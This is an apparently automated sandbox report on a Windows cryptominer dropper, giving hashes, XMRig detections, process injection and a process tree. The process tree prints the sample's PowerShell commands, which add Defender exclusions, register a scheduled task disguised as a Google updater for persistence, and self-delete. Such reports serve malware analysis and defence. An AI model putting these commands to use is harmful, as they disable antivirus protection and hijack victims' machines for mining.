Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1801s -
max time network
1802s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
description pid Process procid_target PID 4516 created 3468 4516 LM3BR4UBmKBzBP5H.exe 65 PID 4516 created 3468 4516 LM3BR4UBmKBzBP5H.exe 65 PID 4516 created 3468 4516 LM3BR4UBmKBzBP5H.exe 65 PID 4516 created 3468 4516 LM3BR4UBmKBzBP5H.exe 65 PID 4376 created 3468 4376 updater.exe 65 PID 4376 created 3468 4376 updater.exe 65 PID 4376 created 3468 4376 updater.exe 65 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral18/memory/3600-126-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-128-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-131-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-133-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-135-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-139-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-141-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-143-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-145-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-147-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-149-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-151-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-153-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-155-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-157-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-159-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-161-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-163-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-165-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-167-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-169-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-171-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-173-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-175-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-177-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-179-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-181-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-183-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-185-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig behavioral18/memory/3600-187-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 4376 updater.exe -
resource yara_rule behavioral18/memory/3600-118-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-126-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-128-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-131-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-133-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-135-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-139-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-141-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-143-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-145-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-147-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-149-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-151-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-153-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-155-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-157-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-159-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-161-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-163-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-165-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-167-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-169-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-171-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-173-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-175-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-177-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-179-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-181-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-183-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-185-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx behavioral18/memory/3600-187-0x00007FF7765D0000-0x00007FF776DC4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4376 set thread context of 4264 4376 updater.exe 114 PID 4376 set thread context of 3600 4376 updater.exe 115 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe LM3BR4UBmKBzBP5H.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3924 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4516 LM3BR4UBmKBzBP5H.exe 4516 LM3BR4UBmKBzBP5H.exe 1148 powershell.exe 1148 powershell.exe 4516 LM3BR4UBmKBzBP5H.exe 4516 LM3BR4UBmKBzBP5H.exe 1604 powershell.exe 1604 powershell.exe 4516 LM3BR4UBmKBzBP5H.exe 4516 LM3BR4UBmKBzBP5H.exe 4516 LM3BR4UBmKBzBP5H.exe 4516 LM3BR4UBmKBzBP5H.exe 4512 powershell.exe 4512 powershell.exe 4376 updater.exe 4376 updater.exe 2504 powershell.exe 2504 powershell.exe 4376 updater.exe 4376 updater.exe 1472 powershell.exe 1472 powershell.exe 4376 updater.exe 4376 updater.exe 4376 updater.exe 4376 updater.exe 4264 conhost.exe 4264 conhost.exe 4376 updater.exe 4376 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 644 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1148 powershell.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeIncreaseQuotaPrivilege 1604 powershell.exe Token: SeSecurityPrivilege 1604 powershell.exe Token: SeTakeOwnershipPrivilege 1604 powershell.exe Token: SeLoadDriverPrivilege 1604 powershell.exe Token: SeSystemProfilePrivilege 1604 powershell.exe Token: SeSystemtimePrivilege 1604 powershell.exe Token: SeProfSingleProcessPrivilege 1604 powershell.exe Token: SeIncBasePriorityPrivilege 1604 powershell.exe Token: SeCreatePagefilePrivilege 1604 powershell.exe Token: SeBackupPrivilege 1604 powershell.exe Token: SeRestorePrivilege 1604 powershell.exe Token: SeShutdownPrivilege 1604 powershell.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeSystemEnvironmentPrivilege 1604 powershell.exe Token: SeRemoteShutdownPrivilege 1604 powershell.exe Token: SeUndockPrivilege 1604 powershell.exe Token: SeManageVolumePrivilege 1604 powershell.exe Token: 33 1604 powershell.exe Token: 34 1604 powershell.exe Token: 35 1604 powershell.exe Token: 36 1604 powershell.exe Token: SeIncreaseQuotaPrivilege 1604 powershell.exe Token: SeSecurityPrivilege 1604 powershell.exe Token: SeTakeOwnershipPrivilege 1604 powershell.exe Token: SeLoadDriverPrivilege 1604 powershell.exe Token: SeSystemProfilePrivilege 1604 powershell.exe Token: SeSystemtimePrivilege 1604 powershell.exe Token: SeProfSingleProcessPrivilege 1604 powershell.exe Token: SeIncBasePriorityPrivilege 1604 powershell.exe Token: SeCreatePagefilePrivilege 1604 powershell.exe Token: SeBackupPrivilege 1604 powershell.exe Token: SeRestorePrivilege 1604 powershell.exe Token: SeShutdownPrivilege 1604 powershell.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeSystemEnvironmentPrivilege 1604 powershell.exe Token: SeRemoteShutdownPrivilege 1604 powershell.exe Token: SeUndockPrivilege 1604 powershell.exe Token: SeManageVolumePrivilege 1604 powershell.exe Token: 33 1604 powershell.exe Token: 34 1604 powershell.exe Token: 35 1604 powershell.exe Token: 36 1604 powershell.exe Token: SeIncreaseQuotaPrivilege 1604 powershell.exe Token: SeSecurityPrivilege 1604 powershell.exe Token: SeTakeOwnershipPrivilege 1604 powershell.exe Token: SeLoadDriverPrivilege 1604 powershell.exe Token: SeSystemProfilePrivilege 1604 powershell.exe Token: SeSystemtimePrivilege 1604 powershell.exe Token: SeProfSingleProcessPrivilege 1604 powershell.exe Token: SeIncBasePriorityPrivilege 1604 powershell.exe Token: SeCreatePagefilePrivilege 1604 powershell.exe Token: SeBackupPrivilege 1604 powershell.exe Token: SeRestorePrivilege 1604 powershell.exe Token: SeShutdownPrivilege 1604 powershell.exe Token: SeDebugPrivilege 1604 powershell.exe Token: SeSystemEnvironmentPrivilege 1604 powershell.exe Token: SeRemoteShutdownPrivilege 1604 powershell.exe Token: SeUndockPrivilege 1604 powershell.exe Token: SeManageVolumePrivilege 1604 powershell.exe Token: 33 1604 powershell.exe Token: 34 1604 powershell.exe Token: 35 1604 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2932 wrote to memory of 4544 2932 cmd.exe 98 PID 2932 wrote to memory of 4544 2932 cmd.exe 98 PID 4512 wrote to memory of 3028 4512 powershell.exe 102 PID 4512 wrote to memory of 3028 4512 powershell.exe 102 PID 4376 wrote to memory of 4264 4376 updater.exe 114 PID 1972 wrote to memory of 3924 1972 cmd.exe 113 PID 1972 wrote to memory of 3924 1972 cmd.exe 113 PID 4376 wrote to memory of 3600 4376 updater.exe 115 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3468
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4516
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1604
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2932
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3028
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2504
-
-
